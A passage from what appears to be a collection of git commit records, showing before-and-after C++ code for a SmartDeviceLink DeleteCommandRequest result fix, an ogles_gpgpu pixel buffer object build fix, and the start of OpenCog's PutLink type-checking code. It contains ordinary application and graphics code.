LOG4CXX_ERROR(logger_, \"NULL pointer\");\n return;\n }\n\n const int32_t cmd_id =\n (*message_)[strings::msg_params][strings::cmd_id].asInt();\n\n smart_objects::SmartObject* command = application->FindCommand(cmd_id);\n\n if (!command) {\n LOG4CXX_ERROR(logger_, \"Command id \" << cmd_id << \" not found for \"\n \"application with connection key \" << connection_key());\n return;\n }\n\n mobile_apis::Result::eType result_code =\n mobile_apis::Result::INVALID_ENUM;\n\n const bool is_vr_success_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n vr_result_,\n hmi_apis::Common_Result::SUCCESS,\n hmi_apis::Common_Result::INVALID_ENUM);\n\n const bool is_ui_success_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n ui_result_,\n hmi_apis::Common_Result::SUCCESS,\n hmi_apis::Common_Result::INVALID_ENUM);\n\n const bool is_vr_ui_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ALL>(\n hmi_apis::Common_Result::INVALID_ENUM,\n vr_result_,\n ui_result_);\n\n bool result =\n is_ui_success_invalid &&\n is_vr_success_invalid &&\n !is_vr_ui_invalid;\n\n if (result) {\n application->RemoveCommand(\n (*message_)[strings::msg_params][strings::cmd_id].asInt());\n }\n\n const bool is_vr_or_ui_warning =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n hmi_apis::Common_Result::WARNINGS,\n ui_result_,\n vr_result_);\n\n if (!result &&\n hmi_apis::Common_Result::REJECTED == ui_result_) {\n result_code = MessageHelper::HMIToMobileResult(vr_result_);\n } else if (is_vr_or_ui_warning) {\n result_code = mobile_apis::Result::WARNINGS;\n } else {\n result_code = MessageHelper::HMIToMobileResult(\n std::max(ui_result_, vr_result_));\n }\n\n SendResponse(result, result_code, NULL, &(message[strings::msg_params]));\n if (result) {\n application->UpdateHash();\n }\n}\n\nbool DeleteCommandRequest::IsPendingResponseExist() {\n LOG4CXX_AUTO_TRACE(logger_);\n return is_ui_send_ != is_ui_received_ || is_vr_send_ != is_vr_received_;\n}\n\n} \/\/ namespace commands\n\n} \/\/ namespace application_manager\n<commit_msg>Fix WARNING result interpretation in Mobile.DeleteCommandRequest<commit_after>\/*\n\n Copyright (c) 2013, Ford Motor Company\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following\n disclaimer in the documentation and\/or other materials provided with the\n distribution.\n\n Neither the name of the Ford Motor Company nor the names of its contributors\n may be used to endorse or promote products derived from this software\n without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"application_manager\/commands\/mobile\/delete_command_request.h\"\n#include \"application_manager\/application_manager_impl.h\"\n#include \"application_manager\/application_impl.h\"\n#include \"interfaces\/MOBILE_API.h\"\n#include \"interfaces\/HMI_API.h\"\n#include \"utils\/helpers.h\"\n\nnamespace application_manager {\n\nnamespace commands {\n\nDeleteCommandRequest::DeleteCommandRequest(const MessageSharedPtr& message)\n : CommandRequestImpl(message),\n is_ui_send_(false),\n is_vr_send_(false),\n is_ui_received_(false),\n is_vr_received_(false),\n ui_result_(hmi_apis::Common_Result::INVALID_ENUM),\n vr_result_(hmi_apis::Common_Result::INVALID_ENUM) {\n}\n\nDeleteCommandRequest::~DeleteCommandRequest() {\n}\n\nvoid DeleteCommandRequest::Run() {\n LOG4CXX_AUTO_TRACE(logger_);\n\n ApplicationSharedPtr application = ApplicationManagerImpl::instance()->\n application(connection_key());\n\n if (!application) {\n LOG4CXX_ERROR(logger_, \"Application is not registered\");\n SendResponse(false, mobile_apis::Result::APPLICATION_NOT_REGISTERED);\n return;\n }\n\n const int32_t cmd_id =\n (*message_)[strings::msg_params][strings::cmd_id].asInt();\n\n smart_objects::SmartObject* command = application->FindCommand(cmd_id);\n\n if (!command) {\n LOG4CXX_ERROR(logger_, \"Command with id \" << cmd_id << \" is not found.\");\n SendResponse(false, mobile_apis::Result::INVALID_ID);\n return;\n }\n\n smart_objects::SmartObject msg_params = smart_objects::SmartObject(\n smart_objects::SmartType_Map);\n\n msg_params[strings::cmd_id] =\n (*message_)[strings::msg_params][strings::cmd_id];\n msg_params[strings::app_id] = application->app_id();\n\n \/\/ we should specify amount of required responses in the 1st request\n uint32_t chaining_counter = 0;\n if ((*command).keyExists(strings::menu_params)) {\n ++chaining_counter;\n }\n\n if ((*command).keyExists(strings::vr_commands)) {\n ++chaining_counter;\n }\n\n if ((*command).keyExists(strings::menu_params)) {\n is_ui_send_ = true;\n\n SendHMIRequest(hmi_apis::FunctionID::UI_DeleteCommand, &msg_params, true);\n }\n \/\/ check vr params\n if ((*command).keyExists(strings::vr_commands)) {\n is_vr_send_ = true;\n\n \/\/ VR params\n msg_params[strings::grammar_id] = application->get_grammar_id();\n msg_params[strings::type] = hmi_apis::Common_VRCommandType::Command;\n SendHMIRequest(hmi_apis::FunctionID::VR_DeleteCommand, &msg_params, true);\n }\n}\n\nvoid DeleteCommandRequest::on_event(const event_engine::Event& event) {\n LOG4CXX_AUTO_TRACE(logger_);\n using namespace helpers;\n\n const smart_objects::SmartObject& message = event.smart_object();\n\n switch (event.id()) {\n case hmi_apis::FunctionID::UI_DeleteCommand: {\n is_ui_received_ = true;\n const int result = message[strings::params][hmi_response::code].asInt();\n ui_result_ = static_cast<hmi_apis::Common_Result::eType>(result);\n LOG4CXX_DEBUG(logger_, \"Received UI_DeleteCommand event with result \"\n << MessageHelper::HMIResultToString(ui_result_));\n break;\n }\n case hmi_apis::FunctionID::VR_DeleteCommand: {\n is_vr_received_ = true;\n const int result = message[strings::params][hmi_response::code].asInt();\n vr_result_ = static_cast<hmi_apis::Common_Result::eType>(result);\n LOG4CXX_DEBUG(logger_, \"Received VR_DeleteCommand event with result \"\n << MessageHelper::HMIResultToString(vr_result_));\n break;\n }\n default: {\n LOG4CXX_ERROR(logger_,\"Received unknown event\" << event.id());\n return;\n }\n }\n\n if (IsPendingResponseExist()) {\n LOG4CXX_DEBUG(logger_, \"Still awaiting for other responses.\");\n return;\n }\n\n ApplicationSharedPtr application =\n ApplicationManagerImpl::instance()->application(connection_key());\n\n if (!application) {\n LOG4CXX_ERROR(logger_, \"Application is not registered\");\n return;\n }\n smart_objects::SmartObject& msg_params = (*message_)[strings::msg_params];\n\n const int32_t cmd_id = msg_params[strings::cmd_id].asInt();\n\n smart_objects::SmartObject* command = application->FindCommand(cmd_id);\n\n if (!command) {\n LOG4CXX_ERROR(logger_, \"Command id \" << cmd_id << \" not found for \"\n \"application with connection key \" << connection_key());\n return;\n }\n\n const bool is_vr_success_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n vr_result_,\n hmi_apis::Common_Result::SUCCESS,\n hmi_apis::Common_Result::INVALID_ENUM);\n\n const bool is_ui_success_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n ui_result_,\n hmi_apis::Common_Result::SUCCESS,\n hmi_apis::Common_Result::INVALID_ENUM);\n\n const bool is_vr_ui_invalid =\n Compare<hmi_apis::Common_Result::eType, EQ, ALL>(\n hmi_apis::Common_Result::INVALID_ENUM,\n vr_result_,\n ui_result_);\n\n const bool is_vr_or_ui_warning =\n Compare<hmi_apis::Common_Result::eType, EQ, ONE>(\n hmi_apis::Common_Result::WARNINGS,\n ui_result_,\n vr_result_);\n\n const bool result =\n \/\/ In case of UI\/VR is SUCCESS and other is SUCCESS\/INVALID_ENUM\n (is_vr_success_invalid && is_ui_success_invalid && !is_vr_ui_invalid) ||\n \/\/ or one of them is WARNINGS\n is_vr_or_ui_warning;\n\n LOG4CXX_DEBUG(logger_, \"Result code is \" << (result ? \"true\" : \"false\"));\n\n if (result) {\n application->RemoveCommand(msg_params[strings::cmd_id].asInt());\n }\n\n mobile_apis::Result::eType result_code = mobile_apis::Result::INVALID_ENUM;\n if (!result &&\n hmi_apis::Common_Result::REJECTED == ui_result_) {\n result_code = MessageHelper::HMIToMobileResult(vr_result_);\n } else if (is_vr_or_ui_warning) {\n LOG4CXX_DEBUG(logger_, \"VR or UI result is warning\");\n result_code = mobile_apis::Result::WARNINGS;\n } else {\n result_code = MessageHelper::HMIToMobileResult(\n std::max(ui_result_, vr_result_));\n }\n\n SendResponse(result, result_code, NULL, &msg_params);\n if (result) {\n application->UpdateHash();\n }\n}\n\nbool DeleteCommandRequest::IsPendingResponseExist() {\n LOG4CXX_AUTO_TRACE(logger_);\n return is_ui_send_ != is_ui_received_ || is_vr_send_ != is_vr_received_;\n}\n\n} \/\/ namespace commands\n\n} \/\/ namespace application_manager\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n\/\/ Copyright (c) 2017, David Hirvonen (this file)\n\n#include \"pbo.h\"\n#include \"ogles_gpgpu\/platform\/opengl\/gl_includes.h\"\n\n#include <iostream>\n#include <sstream>\n\n#include <stdlib.h>\n\nusing namespace std;\nusing namespace ogles_gpgpu;\n\n\/\/ ::: input\/read :::\n\nIPBO::IPBO(std::size_t width, std::size_t height)\n : width(width)\n , height(height)\n , isReadingAsynchronously_(false) {\n\n glGenBuffers(1, &pbo);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glGenBuffers()\");\n\n std::size_t pbo_size = width * height * 4;\n glBindBuffer(GL_PIXEL_PACK_BUFFER, pbo);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBindBuffer()\");\n\n glBufferData(GL_PIXEL_PACK_BUFFER, pbo_size, 0, GL_DYNAMIC_READ);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBufferData()\");\n\n glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBindBuffer()\");\n}\n\nIPBO::~IPBO() {\n if (pbo > 0) {\n glDeleteBuffers(1, &pbo);\n Tools::checkGLErr(\"IPBO::~IPBO\", \"glDeleteBuffers()\");\n pbo = 0;\n }\n}\n\nbool IPBO::isReadingAsynchronously() const {\n return isReadingAsynchronously_;\n}\n\nvoid IPBO::bind() {\n glBindBuffer(GL_PIXEL_PACK_BUFFER, pbo);\n Tools::checkGLErr(\"IPBO::bind\", \"glBindBuffer()\");\n}\n\nvoid IPBO::unbind() {\n glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);\n Tools::checkGLErr(\"IPBO::unbind\", \"glBindBuffer()\");\n}\n\nvoid IPBO::start() {\n\n if (!isReadingAsynchronously_) {\n glReadBuffer(GL_COLOR_ATTACHMENT0);\n Tools::checkGLErr(\"IPBO::start\", \"glReadBuffer()\");\n\n \/\/ Note glReadPixels last argument == 0 for PBO reads\n glReadPixels(0, 0, width, height, OGLES_GPGPU_TEXTURE_FORMAT, GL_UNSIGNED_BYTE, 0);\n Tools::checkGLErr(\"IPBO::start\", \"glReadPixels()\");\n\n isReadingAsynchronously_ = true;\n }\n}\n\nvoid IPBO::finish(GLubyte* buffer) {\n\n if (isReadingAsynchronously_) {\n std::size_t pbo_size = width * height * 4;\n#if defined(OGLES_GPGPU_OSX)\n \/\/ Note: glMapBufferRange does not seem to work in OS X\n GLubyte* ptr = static_cast<GLubyte*>(glMapBuffer(GL_PIXEL_PACK_BUFFER, GL_READ_ONLY));\n#else\n GLubyte* ptr = static_cast<GLubyte*>(glMapBufferRange(GL_PIXEL_PACK_BUFFER, 0, pbo_size, GL_MAP_READ_BIT));\n#endif\n Tools::checkGLErr(\"IPBO::finish\", \"glMapBufferRange()\");\n\n if (ptr) {\n memcpy(buffer, ptr, pbo_size);\n\n glUnmapBuffer(GL_PIXEL_PACK_BUFFER);\n Tools::checkGLErr(\"IPBO::finish\", \"glUnmapBuffer()\");\n }\n\n isReadingAsynchronously_ = false;\n }\n}\n\nvoid IPBO::read(GLubyte* buffer) {\n start(); \/\/ Use start() and\n finish(buffer); \/\/ finish() pair for consistent internal state\n}\n\n\/\/ ::: output\/write :::\n\nOPBO::OPBO(std::size_t width, std::size_t height)\n : width(width)\n , height(height) {\n\n glGenBuffers(1, &pbo);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glGenBuffers()\");\n\n std::size_t pbo_size = width * height * 4;\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBindBuffer()\");\n\n glBufferData(GL_PIXEL_UNPACK_BUFFER, pbo_size, 0, GL_STREAM_DRAW);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBufferData()\");\n\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBindBuffer()\");\n}\n\nOPBO::~OPBO() {\n if (pbo > 0) {\n glDeleteBuffers(1, &pbo);\n Tools::checkGLErr(\"OPBO::~OPBO\", \"glDeleteBuffers()\");\n pbo = 0;\n }\n}\n\nvoid OPBO::bind() {\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo);\n Tools::checkGLErr(\"OPBO::bind\", \"glBindBuffer()\");\n}\n\nvoid OPBO::unbind() {\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);\n Tools::checkGLErr(\"OPBO::unbind\", \"glBindBuffer()\");\n}\n\nvoid OPBO::write(const GLubyte* buffer, GLuint texId) {\n std::size_t pbo_size = width * height * 4;\n\n glBufferData(GL_PIXEL_UNPACK_BUFFER, pbo_size, NULL, GL_STREAM_DRAW);\n Tools::checkGLErr(\"OPBO::write\", \"glBufferData()\");\n\n#if defined(OGLES_GPGPU_OSX)\n \/\/ TODO: glMapBufferRange does not seem to work in OS X\n GLubyte* ptr = static_cast<GLubyte*>(glMapBuffer(GL_PIXEL_UNPACK_BUFFER, GL_WRITE_ONLY));\n Tools::checkGLErr(\"OPBO::write\", \"glMapBuffer()\");\n#else\n GLubyte* ptr = static_cast<GLubyte*>(glMapBufferRange(GL_PIXEL_UNPACK_BUFFER, 0, pbo_size, GL_MAP_WRITE_BIT));\n Tools::checkGLErr(\"OPBO::write\", \"glMapBufferRange()\");\n#endif\n\n if (ptr) {\n memcpy(ptr, buffer, pbo_size);\n\n glUnmapBuffer(GL_PIXEL_UNPACK_BUFFER);\n Tools::checkGLErr(\"OPBO::write\", \"glUnmapBuffer()\");\n\n glBindTexture(GL_TEXTURE_2D, texId);\n Tools::checkGLErr(\"OPBO::write\", \"glBindTexture()\");\n\n glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, width, height, OGLES_GPGPU_TEXTURE_FORMAT, GL_UNSIGNED_BYTE, 0);\n Tools::checkGLErr(\"OPBO::write\", \"glTexSubImage2D()\");\n }\n}\n<commit_msg>Fix Linux build<commit_after>\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n\/\/ Copyright (c) 2017, David Hirvonen (this file)\n\n#include \"pbo.h\"\n#include \"ogles_gpgpu\/platform\/opengl\/gl_includes.h\"\n\n#include <iostream>\n#include <sstream>\n#include <cstring> \/\/ memcpy\n\n#include <stdlib.h>\n\nusing namespace std;\nusing namespace ogles_gpgpu;\n\n\/\/ ::: input\/read :::\n\nIPBO::IPBO(std::size_t width, std::size_t height)\n : width(width)\n , height(height)\n , isReadingAsynchronously_(false) {\n\n glGenBuffers(1, &pbo);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glGenBuffers()\");\n\n std::size_t pbo_size = width * height * 4;\n glBindBuffer(GL_PIXEL_PACK_BUFFER, pbo);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBindBuffer()\");\n\n glBufferData(GL_PIXEL_PACK_BUFFER, pbo_size, 0, GL_DYNAMIC_READ);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBufferData()\");\n\n glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);\n Tools::checkGLErr(\"IPBO::IPBO\", \"glBindBuffer()\");\n}\n\nIPBO::~IPBO() {\n if (pbo > 0) {\n glDeleteBuffers(1, &pbo);\n Tools::checkGLErr(\"IPBO::~IPBO\", \"glDeleteBuffers()\");\n pbo = 0;\n }\n}\n\nbool IPBO::isReadingAsynchronously() const {\n return isReadingAsynchronously_;\n}\n\nvoid IPBO::bind() {\n glBindBuffer(GL_PIXEL_PACK_BUFFER, pbo);\n Tools::checkGLErr(\"IPBO::bind\", \"glBindBuffer()\");\n}\n\nvoid IPBO::unbind() {\n glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);\n Tools::checkGLErr(\"IPBO::unbind\", \"glBindBuffer()\");\n}\n\nvoid IPBO::start() {\n\n if (!isReadingAsynchronously_) {\n glReadBuffer(GL_COLOR_ATTACHMENT0);\n Tools::checkGLErr(\"IPBO::start\", \"glReadBuffer()\");\n\n \/\/ Note glReadPixels last argument == 0 for PBO reads\n glReadPixels(0, 0, width, height, OGLES_GPGPU_TEXTURE_FORMAT, GL_UNSIGNED_BYTE, 0);\n Tools::checkGLErr(\"IPBO::start\", \"glReadPixels()\");\n\n isReadingAsynchronously_ = true;\n }\n}\n\nvoid IPBO::finish(GLubyte* buffer) {\n\n if (isReadingAsynchronously_) {\n std::size_t pbo_size = width * height * 4;\n#if defined(OGLES_GPGPU_OSX)\n \/\/ Note: glMapBufferRange does not seem to work in OS X\n GLubyte* ptr = static_cast<GLubyte*>(glMapBuffer(GL_PIXEL_PACK_BUFFER, GL_READ_ONLY));\n#else\n GLubyte* ptr = static_cast<GLubyte*>(glMapBufferRange(GL_PIXEL_PACK_BUFFER, 0, pbo_size, GL_MAP_READ_BIT));\n#endif\n Tools::checkGLErr(\"IPBO::finish\", \"glMapBufferRange()\");\n\n if (ptr) {\n memcpy(buffer, ptr, pbo_size);\n\n glUnmapBuffer(GL_PIXEL_PACK_BUFFER);\n Tools::checkGLErr(\"IPBO::finish\", \"glUnmapBuffer()\");\n }\n\n isReadingAsynchronously_ = false;\n }\n}\n\nvoid IPBO::read(GLubyte* buffer) {\n start(); \/\/ Use start() and\n finish(buffer); \/\/ finish() pair for consistent internal state\n}\n\n\/\/ ::: output\/write :::\n\nOPBO::OPBO(std::size_t width, std::size_t height)\n : width(width)\n , height(height) {\n\n glGenBuffers(1, &pbo);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glGenBuffers()\");\n\n std::size_t pbo_size = width * height * 4;\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBindBuffer()\");\n\n glBufferData(GL_PIXEL_UNPACK_BUFFER, pbo_size, 0, GL_STREAM_DRAW);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBufferData()\");\n\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);\n Tools::checkGLErr(\"OPBO::OPBO\", \"glBindBuffer()\");\n}\n\nOPBO::~OPBO() {\n if (pbo > 0) {\n glDeleteBuffers(1, &pbo);\n Tools::checkGLErr(\"OPBO::~OPBO\", \"glDeleteBuffers()\");\n pbo = 0;\n }\n}\n\nvoid OPBO::bind() {\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo);\n Tools::checkGLErr(\"OPBO::bind\", \"glBindBuffer()\");\n}\n\nvoid OPBO::unbind() {\n glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);\n Tools::checkGLErr(\"OPBO::unbind\", \"glBindBuffer()\");\n}\n\nvoid OPBO::write(const GLubyte* buffer, GLuint texId) {\n std::size_t pbo_size = width * height * 4;\n\n glBufferData(GL_PIXEL_UNPACK_BUFFER, pbo_size, NULL, GL_STREAM_DRAW);\n Tools::checkGLErr(\"OPBO::write\", \"glBufferData()\");\n\n#if defined(OGLES_GPGPU_OSX)\n \/\/ TODO: glMapBufferRange does not seem to work in OS X\n GLubyte* ptr = static_cast<GLubyte*>(glMapBuffer(GL_PIXEL_UNPACK_BUFFER, GL_WRITE_ONLY));\n Tools::checkGLErr(\"OPBO::write\", \"glMapBuffer()\");\n#else\n GLubyte* ptr = static_cast<GLubyte*>(glMapBufferRange(GL_PIXEL_UNPACK_BUFFER, 0, pbo_size, GL_MAP_WRITE_BIT));\n Tools::checkGLErr(\"OPBO::write\", \"glMapBufferRange()\");\n#endif\n\n if (ptr) {\n memcpy(ptr, buffer, pbo_size);\n\n glUnmapBuffer(GL_PIXEL_UNPACK_BUFFER);\n Tools::checkGLErr(\"OPBO::write\", \"glUnmapBuffer()\");\n\n glBindTexture(GL_TEXTURE_2D, texId);\n Tools::checkGLErr(\"OPBO::write\", \"glBindTexture()\");\n\n glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, width, height, OGLES_GPGPU_TEXTURE_FORMAT, GL_UNSIGNED_BYTE, 0);\n Tools::checkGLErr(\"OPBO::write\", \"glTexSubImage2D()\");\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * opencog\/atoms\/core\/PutLink.cc\n *\n * Copyright (C) 2015 Linas Vepstas\n * All Rights Reserved\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <opencog\/atoms\/base\/atom_types.h>\n#include <opencog\/atoms\/base\/ClassServer.h>\n#include \"DefineLink.h\"\n#include \"FreeLink.h\"\n#include \"LambdaLink.h\"\n#include \"PutLink.h\"\n\nusing namespace opencog;\n\nPutLink::PutLink(const HandleSeq& oset, Type t)\n : ScopeLink(oset, t)\n{\n\tinit();\n}\n\nPutLink::PutLink(const Handle& a)\n : ScopeLink(PUT_LINK, a)\n{\n\tinit();\n}\n\nPutLink::PutLink(const Link& l)\n : ScopeLink(l)\n{\n\tinit();\n}\n\n\/* ================================================================= *\/\n\n\/\/\/ PutLink expects a very strict format: an arity-2 link, with\n\/\/\/ the first part being a pattern, and the second a list or set\n\/\/\/ of values. If the pattern has N variables, then the seccond\n\/\/\/ part must have N values. Furthermore, any type restrictions on\n\/\/\/ the variables must be satisfied by the values.\n\/\/\/\n\/\/\/ The following formats are understood:\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with 1 variable>\n\/\/\/ <any single atom>\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with N variables>\n\/\/\/ ListLink ;; must have arity N\n\/\/\/ <atom 1>\n\/\/\/ ...\n\/\/\/ <atom N>\n\/\/\/\n\/\/\/ The below is a handy-dandy easy-to-use form. When it is reduced,\n\/\/\/ it will result in the creation of a set of reduced forms, not\n\/\/\/ just one (the two sets haveing the same arity). Unfortunately,\n\/\/\/ this trick cannot work for N=1 unless the variable is cosntrained\n\/\/\/ to not be a set.\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with N variables>\n\/\/\/ SetLink ;; Must hold a set of ListLinks\n\/\/\/ ListLink ;; must have arity N\n\/\/\/ <atom 1>\n\/\/\/ ...\n\/\/\/ <atom N>\n\/\/\/\nvoid PutLink::init(void)\n{\n\tif (not classserver().isA(get_type(), PUT_LINK))\n\t\tthrow InvalidParamException(TRACE_INFO, \"Expecting a PutLink\");\n\n\tsize_t sz = _outgoing.size();\n\tif (2 != sz and 3 != sz)\n\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\"Expecting an outgoing set size of two or three, got %d; %s\",\n\t\t\tsz, to_string().c_str());\n\n\tScopeLink::extract_variables(_outgoing);\n\n\tif (2 == sz)\n\t{\n\t\t\/\/ If the body is just a single variable, and there are no\n\t\t\/\/ type declarations for it, then ScopeLink gets confused.\n\t\t_vardecl = Handle::UNDEFINED;\n\t\t_body = _outgoing[0];\n\t\t_values = _outgoing[1];\n\t}\n\telse\n\t\t_values = _outgoing[2];\n\n\tstatic_typecheck_values();\n}\n\n\n\/\/\/ Check that the values in the PutLink obey the type constraints.\n\/\/\/ This only performs \"static\" typechecking, at construction-time;\n\/\/\/ since the values may be dynamically obtained at run-time, we cannot\n\/\/\/ check these here.\nvoid PutLink::static_typecheck_values(void)\n{\n\t\/\/ Cannot typecheck at this pont in time, because the schema\n\t\/\/ might not be defined yet...\n\tType btype = _body->get_type();\n\tif (DEFINED_SCHEMA_NODE == btype)\n\t\treturn;\n\tif (DEFINED_PREDICATE_NODE == btype)\n\t\treturn;\n\n\t\/\/ If its part of a signature, there is nothing to do.\n\tif (classserver().isA(btype, TYPE_NODE) or TYPE_CHOICE == btype)\n\t\treturn;\n\n\tsize_t sz = _varlist.varseq.size();\n\tType vtype = _values->get_type();\n\n\tif (1 == sz)\n\t{\n\t\tif (not _varlist.is_type(_values)\n\t\t and SET_LINK != vtype\n\t\t and PUT_LINK != vtype\n\t\t and not (classserver().isA(vtype, SATISFYING_LINK)))\n\t\t{\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink mismatched type!\");\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ Cannot typecheck naked FunctionLinks. For example:\n\t\/\/ (cog-execute! (Put (Plus) (List (Number 2) (Number 2))))\n\tif (0 == sz and classserver().isA(btype, FUNCTION_LINK))\n\t\treturn;\n\n\t\/\/ The standard, default case is to get a ListLink as an argument.\n\tif (LIST_LINK == vtype)\n\t{\n\t\tif (not _varlist.is_type(_values->getOutgoingSet()))\n\t\t{\n\t\t\tif (_vardecl)\n\t\t\t\tthrow SyntaxException(TRACE_INFO,\n\t\t\t\t\t\"PutLink has mismatched value list! vardecl=%s\\nvals=%s\",\n\t\t\t\t\t_vardecl->to_string().c_str(),\n\t\t\t\t\t_values->to_string().c_str());\n\t\t\telse\n\t\t\t\tthrow SyntaxException(TRACE_INFO,\n\t\t\t\t\t\"PutLink has mismatched value list! body=%s\\nvals=%s\",\n\t\t\t\t\t_body->to_string().c_str(),\n\t\t\t\t\t_values->to_string().c_str());\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ GetLinks (and the like) are evaluated dynamically, later.\n\tif (classserver().isA(vtype, SATISFYING_LINK))\n\t\treturn;\n\n\t\/\/ If its part of a signature, there is nothing to do.\n\tif (TYPE_NODE == vtype or TYPE_CHOICE == vtype)\n\t\treturn;\n\n\t\/\/ The only remaining possibility is that there is set of ListLinks.\n\tif (SET_LINK != vtype)\n\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\"PutLink was expecting a ListLink, SetLink or GetLink!\");\n\n\tif (1 < sz)\n\t{\n\t\tfor (const Handle& h : _values->getOutgoingSet())\n\t\t{\n\t\t\t\/\/ If the arity is greater than one, then the values must be in a list.\n\t\t if (h->get_type() != LIST_LINK)\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink expected value list!\");\n\n\t\t\tif (not _varlist.is_type(h->getOutgoingSet()))\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink bad value list!\");\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ If the arity is one, the values must obey type constraint.\n\tfor (const Handle& h : _values->getOutgoingSet())\n\t{\n\t\tif (not _varlist.is_type(h))\n\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink bad type!\");\n\t}\n}\n\n\/* ================================================================= *\/\n\n\/**\n * Perform the actual beta reduction --\n *\n * Substitute values for the variables in the pattern tree.\n * This is a lot like applying the function fun to the argument list\n * args, except that no actual evaluation is performed; only\n * substitution. The resulting tree is NOT placed into any atomspace,\n * either. If you want that, you must do it youself. If you want\n * evaluation or execution to happen during or after sustitution, use\n * either the EvaluationLink, the ExecutionOutputLink, or the Instantiator.\n *\n * So, for example, if this PutLink looks like this:\n *\n * PutLink\n * EvaluationLink\n * PredicateNode \"is a kind of\"\n * ListLink\n * VariableNode $a\n * ConceptNode \"hot patootie\"\n * ConceptNode \"cowpie\"\n *\n * then the reduced value will be\n *\n * EvaluationLink\n * PredicateNode \"is a kind of\"\n * ListLink\n * ConceptNode \"cowpie\"\n * ConceptNode \"hot patootie\"\n *\n * Type checking is performed during substitution; if the values fail to\n * have the desired types, no substitution is performed. In this case,\n * an undefined handle is returned. For set substitutions, this acts as\n * a filter, removing (filtering out) the mismatched types.\n *\n * Again, only a substitution is 